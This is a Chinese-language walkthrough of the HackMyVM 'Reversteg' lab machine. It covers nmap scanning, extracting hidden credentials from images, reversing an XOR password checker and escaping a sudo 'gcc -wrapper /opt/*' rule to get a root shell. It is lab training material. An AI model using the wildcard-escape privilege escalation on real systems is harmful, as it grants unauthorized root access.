HackMyVM-Reversteg

(Updated: )
靶机
,

Reversteg.

https://hackmyvm.eu/machines/machine.php?vm=Reversteg

前期踩点

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⚡ root@kali  ~  nmap -sP 192.168.56.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 03:32 EST
Nmap scan report for 192.168.56.1
Host is up (0.00029s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00028s latency).
MAC Address: 08:00:27:A9:3F:FD (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.104
Host is up (0.00027s latency).
MAC Address: 08:00:27:C9:D2:EF (Oracle VirtualBox virtual NIC)
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⚡ root@kali  ~  nmap -sT -min-rate 10000 -p- 192.168.56.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 03:32 EST
Nmap scan report for 192.168.56.104
Host is up (0.00093s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:C9:D2:EF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
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⚡ root@kali  ~  nmap -sT -A -T4 -O -p 22,80 192.168.56.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 03:33 EST
Nmap scan report for 192.168.56.104
Host is up (0.00061s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:C9:D2:EF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.56.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds

访问HTTP，查看源码发现 

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117db0148dc179a2c2245c5a30e63ab0 
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Some people always don't understand the format of photos.

image.png

图片隐写

根据提示可以找到两张图片

image.png

image.png

使用winhex打开jpg图片

image.png

TGlmZSBpcyBmdWxsIG9mIHNjZW5lcnksIGxvb2sgY2FyZWZ1bGx5 = Life is full of scenery, look carefully

让我们仔细点，使用图片隐写工具来查找

zsteg 能找到一些字符串

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 root@kali  ~/Desktop/test/reverseteg  zsteg 117db0148dc179a2c2245c5a30e63ab0.png
imagedata           .. text:"\n\n\n\t\t\t\n\n\n"
b1,rgb,lsb,xy       .. text:"morainelake"
b1,bgr,msb,xy       ..file: OpenPGP Public Key
b2,r,lsb,xy         .. text:"UUUUUUUU@"
b2,g,lsb,xy         .. text:"E@UAUUUUUUUUj"
b2,g,msb,xy         .. text:"UUUZs-VUU"
b2,b,lsb,xy         .. text:"EUUUUUUUUV"
b2,b,msb,xy         .. text:"_UUUoUUe"
b3,b,msb,xy         ..file: MPEG ADTS, layer I, v2,  96 kbps, Stereo
b3,rgb,lsb,xy       ..file: PGP Secret Sub-key -
b4,r,lsb,xy         .. text:"DEUTfgww"
b4,r,msb,xy         .. text:"M,\"\"\"\"\"\""
b4,g,lsb,xy         .. text: ["\"" repeated 10 times]
b4,g,msb,xy         .. text:"HDDDDDDDDDDH"
b4,b,lsb,xy         .. text:"3\"##2\"\"#33333333333333334DDDDDDDDDD4C333\"\"\""
b4,b,msb,xy         .. text:",\"\"\"\"\"\"\"\"\"\","

morainelake = 冰碛湖 （挠头）

使用steghide ，密码使用的是上面的morainelake

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⚡ root@kali  ~/Desktop/test/reverseteg  steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.png
Enter passphrase: 
steghide: the file format of the file "117db0148dc179a2c2245c5a30e63ab0.png" is not supported.
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⚡ root@kali  ~/Desktop/test/reverseteg  steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg --passphrase morainelake
wrote extracted data to "secret.zip".

找到压缩包secret.zip ，解压需要密码，再使用上面的morainelake 试试

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 root@kali  ~/Desktop/test/reverseteg  unzip secret.zip 
Archive:  secret.zip
   creating: secret/
[secret.zip] secret/secret.txt password: 
 extracting: secret/secret.txt

成功解压，secret.txt 得到一组账户密码

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⚡ root@kali  ~/Desktop/test/reverseteg/secret  cat secret.txt 
morainelake:660930334

登录SSH，成功

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⚡ root@kali  ~/Desktop/test/reverseteg/secret  ssh morainelake@192.168.56.104                                                    
Welcome to the target machine, enjoy the target machine, hope you have fun
morainelake@192.168.56.104's password: 
Linux reversteg 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 12 12:30:24 2025 from 192.168.56.110
$

寻找UserFlag

当前目录下发现note.txt ，告诉我们flag在history里

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$ cat note.txt
morainelake is a very careless user with a very bad memory. He always throws things aside after organizing them. This time he accidentally lost the flag. Fortunately, the administrator has the historical records, but there are too many records to find the corresponding correct flag. Can you find it correctly?
"Don't worry about failures; worry about the chances you miss when you don't even try. After all, it's better to look back and say, 'I can't believe I did that,' than to look back and say, 'What if?' (You'll probably fail anyway.)"

查看当前目录下history

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$ cat history                         
flag{f2c37e838de7a392ad0a06706b8e085d}                                                                            
flag{7169dfc0baa126134898cbad82fa05c8}                                                                            
flag{b6d165811d79ef969b6dba02b17e7515}
flag{80c76fd7421fa86432cd149041237c93}                                                                            
flag{bd6d2c2d3341f62146e52131e6054d6c}                                                                            
flag{126a3c910cd193215df77fd15e12bc19}
flag{29cb75657792d831fe49824c8469681c}                                                                            
flag{c52104fb9a88eb1d2fa98089da436b2d}                                                                                                                                                                                              
flag{c162c18399757600494cf451d1731f4e}
flag{ca5dc62a5a5accd9acef8443c7c05d5b}        
flag{cd65a0e12d20a418db4fa25830e198d6}                                                                            
flag{4a62f46821c547ebfe8b3cfb68b4460b}                                                                            
flag{276ad96e3911334974f7123e74542547}
flag{d1318e29564a2bca8c0cd252773ed50f}
flag{9d7efaeda0426e81a620a590062c0253}   
flag{b6572d3e495f9e20bd48f4dfab698afa}
flag{5e48556cd3ab1bb8ecada1c48c09683e}        
flag{d7557776d621dc1fa37a5dd5e28eebf1}                                                                            
flag{e4ee2346a545efa9ec71d0809506bbe3}                   
flag{69cdc413a202c8b975b1f5d58c0abc31}               
flag{e42177ea9bd9af02cbee28714c0bf810}
flag{ad585a40ef71b01eab289301972ea73c}                                                                            
flag{de85d1b5dae17c1b2df795057aea9d63}
flag{29ee552a0fc65424f06ff0e9ebf3f702}                                                                                                                                                                                              
flag{61c12af13786456ab6f43039b66b9520}                                                                            
flag{3f54da44fd4015ead6ca7a45d44119a0} 
flag{7763434b99aa5fe05b57a715df13ac0f}                                                                            
flag{67a3242f410382ae0aad70cf70c39fc1}                   
flag{609a3fde1d0ff0478600003373ab9e1f}                                                                            
flag{21a0414cd01ee07bdbdc35145d7fd692}                                                                            
flag{4086a2e2d772bc9cc60619ac80b66e08}         
flag{9b46b84c2efac472546d2ea15b827d2d}                   
flag{ecdb0232a6f7253b9e62f47b0e0abde4}                                                                            
flag{d65d4e8f4be0324bfc228262f9c3057f}
flag{5683373ddd90fad10cb9cef94c22151f}                   
flag{31d1f2a69718590fe0d9bd799c1f35d5}
flag{5dd507404a37d5f2bcab199acab96359}     
flag{7ac28659db3a7ab5264ad5332e26bc08}                                                                            
flag{f3f8f735c14c017739e973afca6a0ab1}                                                                                                                                                                                              
flag{68eb761ef934a9f1e4af3ac29bbdb7d7}                                                                            
flag{263161187e89c4faf230e26c911e8654}                                                                                                                                                                                              
flag{002afd16e27b0b44c47b8d63bc30abf6}                                                                            
flag{636f5acb6eaeaae19e22d285f30f9b20}
flag{bab9bf3305a412346ed4f5f6b02b395a}                                                                            
flag{6877e8de891b0445b85405093f965b50}                                                                            
flag{b7f67648519d1e5e02463ac712f0528d}
flag{0860e3cff2ca853fac7961bdd9b8ec42}                                                                            
flag{992e4183fe6dfc36addd95f2d4a06dfc}                                                                            
flag{26fa3911daefda20f0f3ae0ba9b27dbf}
flag{2b13920ee34622c50fd55d1360d42c0f}                                                                            
flag{56b5abe9dc564d4edd05168698999c8e}                                                                                                                                                                                              
flag{a7a9fa80ec47bdbe4be4c484c4522978}
flag{b7d3ff8f7f5d49ddfc0c29cd9674f16d}        
flag{1bcabdf36478c6fd83b5908dbcd4af1d}                                                                            
flag{3ef11c54f23072dc43b7fa40bae7f70f}                                                                            
flag{c0625cd0befb46fdcacb0e18db63ef34}
flag{496d30e0ac86097e1bb3b9ee0107ca70}
flag{c42ef3365ad87a27ffa5d3dbab874109}   
flag{3ce203e761cc63f9a7c15ece415f007e}
flag{dd7485615d0a6a566812072661ace5c5}        
flag{698fa5d1182730a9604e08de81ff9cfe}                                                                            
flag{5008836cd24994e6c72bb8686fbe5a8f}                   
flag{81e27314d7583510226b13d80580f59e}               
flag{d83f3546b77277dae3969108c75ad0cd}
flag{62bd6854dca21e1d60f592dcf5b25de0}                                                                            
flag{fc8941b9088096e99b635cc3e07080d6}
flag{30999f5520de28d96b01b3d1853340b1}                                                                                                                                                                                              
flag{014067f25f20519306013a2d31eac5b5}                                                                            
flag{cb1e8b44c63c6de06f3cb20727062ba6} 
flag{629c11156aff51387dafccce728de96c}                                                                            
flag{d69e5df2a026ffc85ff3f2ed43d61bef}                   
flag{86ae64e63c5c9968363240521ae5164b}                                                                            
flag{399b591e5007022b3e66e588db6f1fe3}                                                                            
flag{9adf3951c5f3b93f673927f1d8901278}         
flag{b9cc60e55d40258992c8e25aaa9bf089}                   
flag{c230e3baf3539668e10212ef94d8291d}                                                                            
flag{e9a0c405c5b7694d2740784343e1fef8}
flag{231d326385eb50f0d4ab53f54c1dbc80}                
flag{7a765f4fd76c305a2fe26dda4ea36e9d}
flag{a4091483a5dcbb0c40b20b2c1c24bf47}     
flag{ad17178bf859d19a81324d9d0c8c244a}                                                                            
flag{5f420eb7da0e6f206089e6554cdae340}                                                                                                                                                                                              
flag{9823f50f68ed769bc90b2cbd68b56b4c}                                                                            
flag{d1d9e02392b4b72b0885db7490f619cd}                                                                                                                                                                                              
flag{39c022930d47f7e761c8cb3efd16bbc8}                                                                            
flag{add7fa68ef90faa3605f2285f64f2882}
flag{6752c068769dc8f62356041f6d4304a6}                                                                            
flag{52934e2768295b22329d429b0f24f601}                                                                            
flag{4e1357260b5d9c39789f7f7a5946bb44}
flag{74768d2a8bfad0807a23c5539805f39c}                                                                            
flag{5bc1ecf9e7d083685d5287b0e79c74ee}                                                                            
flag{377af1b4cc6eba82a7a55d4bb5403f56}
flag{2cc92ef26991c388ff0887d3eb9fcce1}                                                                            
flag{471c053dcc2db1c2aaf564bdad14db82}                                                                                                                                                                                              
flag{4a8dab9ecd0d659ca9883a4be50c7c77}
flag{95cadc47bc4d07b45ef91850a8e83f3f}        
flag{9b0358eda57e0994c0c353f60274f66d}                                                                            
flag{847e9105fb30ca4dd7ce1716b0aed40e}                                                                            
flag{5a1e7d163a42e1361eb10db6fd11a0d9}
flag{7fba1dd72baaa553e86f861d60f26a84}
flag{1eecb7adc8bae78ad0cb33d8b4458df6}   
flag{2c87d786b58ff9f4ba77972e09f36479}
flag{275e8feb6e9df14c92a0c28bd82697db}        
flag{7e5b56e54230db025c9e4f42fc5c76e3}                                                                            
flag{a468c4a459a1dd6f30e8b07852de2bdd}                   
flag{1865052c7cdebb8fd88da52a4140e921}               
flag{4d66e030e6c35216bb2226dfcbca2921}
flag{72fd280733d6d7d2527083581f90af2f}                                                                            
flag{aaa940d0c621a241d00218ddf1f4a1aa}
flag{5db9c2f2c3c0ef2881fe6dd6e4674f3b}                                                                                                                                                                                              
flag{557a89952e95d11bc4a2a702da7b9a14}                                                                            
flag{fedda55807704e79fcb60ddf8f7c3f31} 
flag{0501f784515d8263ed318d07686fe8eb}                                                                            
flag{8cf613f987047536e87d517758d405ed}                   
flag{2916e9b49e43bd17a0ffcbf386b7fdea}                                                                            
flag{1dd25fe1d7bb2bf8ae2ec5a6e2cfd1b6}                                                                            
flag{fb8a8b548592e0a106874ef24dbb1b48}         
flag{b2f1e068a5bab886a3b9a36bbac373b4}                   
flag{0da1df37e671df4d30fa3ea2547bd86a}                                                                            
flag{703bd451303a69c4c697d8996c77126f}

…… 使用wc查看行数，会发现不一样

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$ cat history | wc -l
178
$ cat history | wc -l
19
$ cat history | wc -l
19
$ cat history | wc -l
19
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flag{37dc6d45426cf3e537ab074c230e13a8}
flag{9f65be4cb0954563eb503822593b4dae}
flag{4bd61aede95a77cb27d4b4f8fb768ada}
flag{fc8941b9088096e99b635cc3e07080d6}
flag{82857b70a6b1ceaa259060c08bc35f2c}
flag{8a1e059553c1c818a2006bb775c80486}
flag{c14c7a0e2b0aa3ea458a93a5d903a8d6}
flag{ed70a45788f53f181cbfb04fe46ffff4}
flag{143b944172b82222b44871b7efe46c57}
flag{01d1db3ac8a512f7f1d601f18afc0ef5}
flag{25f958709796bf7dfe83ec944005ae61}
flag{d50cf51b391c603c36eccb3ba81f51a2}
flag{81c51a4a8c08afdecc4e57dded278029}
flag{dcb4b3f9d4c878d4cba3e635b00aca14}
flag{e3007720e4ab09cd32921191f485eaf8}
flag{b4fd276be5ca023a5b78eb98086418a9}
flag{9fd7237c5d72677e5590b21218320122}
flag{7039cat: not found204f39c180cbd4}
0lag{47ea4bd04049f8874838e9644f4a19b4}

将两次的结果作对比flag{fc8941b9088096e99b635cc3e07080d6} 是正确的flag

Re

先信息收集一波

在/opt文件夹下发现reverse

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$ ls -al
total 28
drwxr-xr-x  2 root root  4096 Feb 20 19:05 .
drwxr-xr-x 18 root root  4096 Jan  7 21:50 ..
-rwxr-xr-x  1 root root 17088 Feb 12 12:09 reverse
$ ./reverse
Enter passwords or Enter H coward mode:
q
w
e
r
[-] Incorrect password!

并且靶机标题也是与reverse有关，将reverse传出来

放到IDA进行分析（核心代码）

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  puts("Enter passwords or Enter H coward mode:");
  v20 = 0;
  while ( 1 )
  {
    __isoc99_scanf("%s", &v4[7]);
    if ( strcmp(&v4[7], "H") )
      break;
    if ( ++v20 == 100 )
    {
      puts("Hint: Invert XOR Replace! ");
      goto LABEL_6;
    }
  }
  strcpy(dest, &v4[7]);
  __isoc99_scanf("%s %s %s", v10, &v9, &v8);
LABEL_6:
  v7 = 8203321;
  strcpy(v6, "/, 8:(");
  strcpy((char *)&v5 + 7, "!!|}yx{z");
  strcpy((char *)&v5, "(;$)(#");
  v19 = 77;
  v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL);
  v17 = (void *)xor_decrypt(v6, (unsigned int)v19);
  v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
  v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);
  if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
  {
    strcpy(v4, "pvygob");
    v14 = 106;
    v13 = 10;
    ptr = (void *)caesar_decrypt(v4, 10LL);
    printf("[+] Enter the password successfully! you know: %s\n", (const char *)ptr);
    free(ptr);
  }
  else
  {
    puts("[-] Incorrect password!");
  }

分析来自于：Grok

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puts("Enter passwords or Enter H coward mode:");
v20 = 0;
while ( 1 )
{
    __isoc99_scanf("%s", &v4[7]);
    if ( strcmp(&v4[7], "H") )
        break;
    if ( ++v20 == 100 )
    {
        puts("Hint: Invert XOR Replace! ");
        goto LABEL_6;
    }
}
strcpy(dest, &v4[7]);
__isoc99_scanf("%s %s %s", v10, &v9, &v8);
  • 提示用户输入密码，或者输入 “H“ 进入所谓的 “coward mode“。
  • 对用户输入的密码进行处理，并通过 XOR 解密和凯撒解密操作生成验证所需的数据。
  • 使用 check_passwords 函数验证输入的密码是否正确。
  • 如果验证通过，输出成功消息并解密一个隐藏字符串；否则，提示密码错误
  • 当用户输入的不是 “H“ 时，假设这是第一个密码，将其复制到 dest 中。
  • 接着，使用 scanf 读取另外三个字符串，分别存储到 v10、v9 和 v8 中。这可能是验证所需的额外输入
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LABEL_6:
v7 = 8203321;
strcpy(v6, "/, 8:(");
strcpy((char *)&v5 + 7, "!!|}yx{z");
strcpy((char *)&v5, "(;$)(#");
v19 = 77;
v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL);
v17 = (void *)xor_decrypt(v6, (unsigned int)v19);
v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);

初始化数据XOR解密，解密

v17 = (void *)xor_decrypt(v6, (unsigned int)v19); == bamuwe （眼熟）

image.png

v15 = (char *)xor_decrypt(&v5, (unsigned int)v19); == eviden

image.png

v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL); == ll104567 （群主）

image.png

v16 = (char *)xor_decrypt(&v7, (unsigned int)v19); == ta0

v16不能直接在CyberChef里面转，否则会变成乱码，因为v7是int格式，而(char *)xor_decrypt 需要将v7转为Sting格式

我们将其代码扒下来，直接打印v16 ，我们创建v16.c

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned char _BYTE;

_BYTE *xor_decrypt(const char *a1, char a2)
{
    _BYTE *v3;
    int v4;
    int i;

    v4 = strlen(a1);
    v3 = malloc(v4 + 1);
    for (i = 0; i < v4; ++i)
        v3[i] = a2 ^ a1[i];
    v3[v4] = 0;
    return v3;
}

int main()
{
    int v7 = 8203321;
    char v19 = 77;
    char *v16;

    v16 = (char *)xor_decrypt((const char *)&v7, (unsigned int)v19);

    printf("v16 content: %s\n", v16);

    free(v16);

    return 0;
}

然后编译并运行，得出v16是ta0

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 ⚡ root@kali  ~/Desktop/test/reverseteg  vim v16.c
 ⚡ root@kali  ~/Desktop/test/reverseteg  gcc v16.c -o v16                                       
 ⚡ root@kali  ~/Desktop/test/reverseteg  ./v16    
v16 content: ta0

那我们就得出v15-v18分别是eviden 、ta0 、bamuwe 、ll104567

然后程序调用checkpassword函数

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if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )

最后根据参数我们依次输入密码

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$ ./reverse
Enter passwords or Enter H coward mode:
ll104567
bamuwe
ta0
eviden
[+] Enter the password successfully! you know: flower

得到密码flower ？或者ll104567bamuweta0eviden

查看/etc/passwd下存在哪些用户有shell的，用户welcome

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welcome:x:1001:1001::/home/welcome:/bin/sh

切换到welcome ，密码是ll104567bamuweta0eviden

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morainelake@reversteg:~$ su welcome
Password:

提权

查看权限

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$ /bin/bash
welcome@reversteg:/home/morainelake$ sudo -l
Matching Defaults entries for welcome on reversteg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on reversteg:
    (ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*

查看gcc提权方案

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gcc -wrapper /bin/sh,-s .

其实/usr/bin/gcc -wrapper /opt/*中的*是可以逃逸的（群主的思路）

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welcome@reversteg:/opt$ sudo /usr/bin/gcc -wrapper /opt/../../bin/sh,-s .
# id
uid=0(root) gid=0(root) groups=0(root)

读取RootFlag

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# cat /root/root.txt
flag{4f1eab505b71cd930b0eccd83ff0cfef}